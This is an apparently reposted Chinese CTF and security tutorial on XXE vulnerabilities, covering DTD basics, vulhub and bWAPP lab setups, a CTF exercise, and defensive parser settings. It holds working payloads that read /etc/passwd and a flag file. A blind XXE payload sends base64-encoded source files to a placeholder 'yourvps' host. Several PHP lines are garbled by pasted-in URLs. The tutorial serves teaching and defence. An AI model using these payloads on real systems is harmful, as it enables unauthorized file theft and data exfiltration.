出品|MS08067實驗室(www.ms08067.com)
本文作者:可樂(Ms08067實驗室Web小組成員)
前言
寫這篇的主要目的是因為很多CTFer還有一些安全人員不是很清楚xxe漏洞,還有在面試當中,xxe漏洞也經常被問到,所以就寫這么一篇文章來學習xxe漏洞. 本篇會結合一些靶場還有CTF來進行講解
基礎
首先來介紹一下XML和DTD
XML被設計用來傳輸和存盤資料,這里提一下xml與html的區別:HTML 旨在顯示資訊,而 XML 旨在傳輸資訊
而DTD定義 XML 檔案的合法構建模塊,它使用一系列的合法元素來定義檔案結構,DTD 可被成行地宣告于 XML 檔案中,也可作為一個外部參考,
XML和DTD基礎
一個 XML 檔案實體:
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
第一行是 XML 宣告,它定義 XML 的版本 (1.0) 和所使用的編碼 (ISO-8859-1 = Latin-1/西歐字符集),
接下來加上DTD進行宣告
內部的 DOCTYPE 宣告
<?xml version="1.0"?>
<!DOCTYPE note [ //定義此檔案是 note 型別的檔案,
<!ELEMENT note (to,from,heading,body)> //定義 note 元素有四個元素:"to、from、heading,、body"
<!ELEMENT to (#PCDATA)> //定義 to 元素為 "#PCDATA" 型別
<!ELEMENT from (#PCDATA)> //定義 from 元素為 "#PCDATA" 型別
<!ELEMENT heading (#PCDATA)> // heading 元素為 "#PCDATA" 型別
<!ELEMENT body (#PCDATA)> //定義 body 元素為 "#PCDATA" 型別
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD元素
在一個 DTD 中,元素通過元素宣告來進行宣告,
宣告一個元素
在 DTD 中,XML 元素通過元素宣告來進行宣告,元素宣告使用下面的語法:
只有 PCDATA 的元素
只有 PCDATA 的元素通過圓括號中的 #PCDATA 進行宣告:
<!ELEMENT 元素名稱 (#PCDATA)>
例子:
<!ELEMENT from (#PCDATA)>
帶有任何內容的元素
通過類別關鍵詞 ANY 宣告的元素,可包含任何可決議資料的組合:
<!ELEMENT 元素名稱 ANY>
例子:
<!ELEMENT note ANY>
帶有子元素(序列)的元素
帶有一個或多個子元素的元素通過圓括號中的子元素名進行宣告:
<!ELEMENT 元素名稱 (子元素名稱 1)>
或者
例子:
<!ELEMENT note (to,from,heading,body)>
宣告只出現一次的元素
<!ELEMENT 元素名稱 (子元素名稱)>
例子:
<!ELEMENT note (message)>
上面的例子宣告了:message子元素必須出現一次,并且必須只在 "note"元素中出現一次,
外部檔案宣告
<!DOCTYPE 根元素 SYSTEM "檔案名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
這個 XML 檔案和上面的 XML 檔案相同,但是擁有一個外部的 DTD
這是包含 DTD 的 "note.dtd" 檔案:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD物體宣告
重點介紹物體宣告
內部物體宣告
<!ENTITY 物體名稱 "物體的值">
DTD 例子:
<!ENTITY writer "Bill Gates">
將writer 宣告為”Bill Gates”,copyright 宣告為 “Copyright W3School.com.cn”
XML 例子:
<author>&writer;©right;</author>
注釋: 一個物體由三部分構成: 一個和號 (&), 一個物體名稱, 以及一個分號 (??,
<!DOCTYPE foo [
<!ENTITY xxe "sec test" >
]>
<root>
<name>&xxe;</name>
</root>
外部物體宣告
外部物體參考支持通過協議,來動態的獲取值
<!ENTITY 物體名稱 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
可以通過file://協議來讀取檔案內容
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>
不同語言支持的協議不同

引數物體:
<!ENTITY % 物體名稱 "物體的值">
or
<!ENTITY % 物體名稱 SYSTEM "URI">
引數物體只能在DTD中申明,DTD中參考,它們使用百分號(%)而不是與字符(&),可以是命名物體或外部物體,,能夠決議物體或者uri,進行xml決議,進而獲得其中的變數
注:一般用于Bline XXE
<!ENTITY % style "2333">
<!ENTITY % test "%style">
公共物體宣告
<!ENTITY 物體名稱 PUBLIC "public_ID" "URI">
XXE漏洞
當允許參考外部物體時,通過構造惡意內容,可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害,
xxe漏洞觸發的點往往是可以上傳xml檔案的位置,沒有對上傳的xml檔案進行過濾,導致可上傳惡意xml檔案
如果xml能夠被決議,比如輸入
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>
如果頁面輸出了my name is nMask,說明xml檔案可以被決議,
接下來測驗是否支持DTD參考外部物體而導致xxe注入
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>
可通過查看自己服務器上的日志來判斷,看目標服務器是否向你的服務器發了一條請求index.html的請求,
接下里安裝漏洞環境
本人在centos下,安裝docker后
git clone https://github.com/vulhub/vulhub.git
進入/vulhub/vulhub/tree/master/php/php_xxe
輸入pip install docker-compose即可
環境啟動后,訪問http://your-ip:8080/index.php即可看到phpinfo
www目錄包含四個檔案
├── dom.php # 示例:使用DOMDocument決議body
├── index.php #phpinfo()
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類決議body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函式決議body
SimpleXMLElement.php
<?php
$data = https://www.cnblogs.com/ms08067/p/file_get_contents('php://input');
$xml = new SimpleXMLElement($data); //決議xml
echo $xml->name;
dom.php
<?php
$data = https://www.cnblogs.com/ms08067/p/file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
simplexml_load_string.php
<?php
$data = https://www.cnblogs.com/ms08067/p/file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
首先測驗是否能夠決議xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<root>
<name>&writer;©right;</name>
</root>

內部物體

外部物體
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

引數物體
當沒有回顯即沒有這個陳述句的時候echo $xml->name;該怎么辦呢
這個時候我們可以利用引數物體,通過發起http請求來攻擊,
先進行引數物體宣告看看~
在遠程服務器新建xxe.dtd檔案,內容為:
<!ENTITY evil SYSTEM "file:///etc/passwd" >
xml內容為
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://ip/xxe.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>

相當于:
<!DOCTYPE foo [
<!ENTITY % xxe "<!ENTITY evil SYSTEM 'file:///etc/passwd'>" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>

如果目標服務器沒有回顯,就只能用 Blind XXE 了,原理就是帶著獲取的檔案原始碼以 get 引數或其他形式去訪問我們的服務器,然后在日志里就可以找到我們要獲取的內容了,
先在我的服務器建一個xxe.xml檔案,內容為:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
接下來讀取內容,我們提交
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
整個的呼叫程序如下:決議時%dtd引入xxe.xml,之后%all引入send的定義,最后參考了物體send,把%file檔案內容通過一個http請求發了出去,注意需要把payload經過url編碼,
然后在服務器的log中看到base64加密后的內容(/var/log/httpd/access.log)

使用bWapp學習
環境搭建:
vulstudy是專門收集當下流行的漏洞學習平臺,現在用它來一鍵搭建bWapp
下載vulstudy專案
git clone https://github.com/c0ny1/vulstudy.git
cd vulstudy/bWapp
docker-compose up -d #啟動容器
注:第一次創建應事先訪問/install.php來創建資料庫
安裝好之后,Choose your bug 選擇 XML External Entity Attacks (XXE)
先抓包

xxe-1.php頁面在向xxe-2.php頁面傳輸資料程序中,其中的xml資料是可控的,也就是說可以構造惡意資料進行傳輸,添加一個外部物體在XML資料中進行物體呼叫,從而進行XXE攻擊,

CTF
http://web.jarvisoj.com:9882/
獲得目標機器/home/ctf/flag.txt中的flag值,
將Content-Type的值改為application/xml,然后提交xml發現能夠被決議

于是修改payload為:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt" >
]>
<root>
<name>&xxe;</name>
</root>

防御
禁用外部物體
php
libxml_disable_entity_loader(true);
java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python
from lxml import etree
xmlData = https://www.cnblogs.com/ms08067/p/etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
參考
https://blog.csdn.net/com_ma/article/details/73277535
https://github.com/c0ny1/xxe-lab
https://www.freebuf.com/articles/web/126788.html
https://www.freebuf.com/column/188849.html
https://www.ibm.com/developerworks/cn/xml/x-entities/
?
?
?
轉載請聯系作者并注明出處!
Ms08067安全實驗室專注于網路安全知識的普及和培訓,團隊已出版《Web安全攻防:滲透測驗實戰指南》,《內網安全攻防:滲透測驗實戰指南》,《Python安全攻防:滲透測驗實戰指南》,《Java代碼安全審計(入門篇)》等書籍,
團隊公眾號定期分享關于CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力于做一個實用的干貨分享型公眾號,
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!
?
?
?
?
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/271848.html
標籤:其他
上一篇:UE4引擎
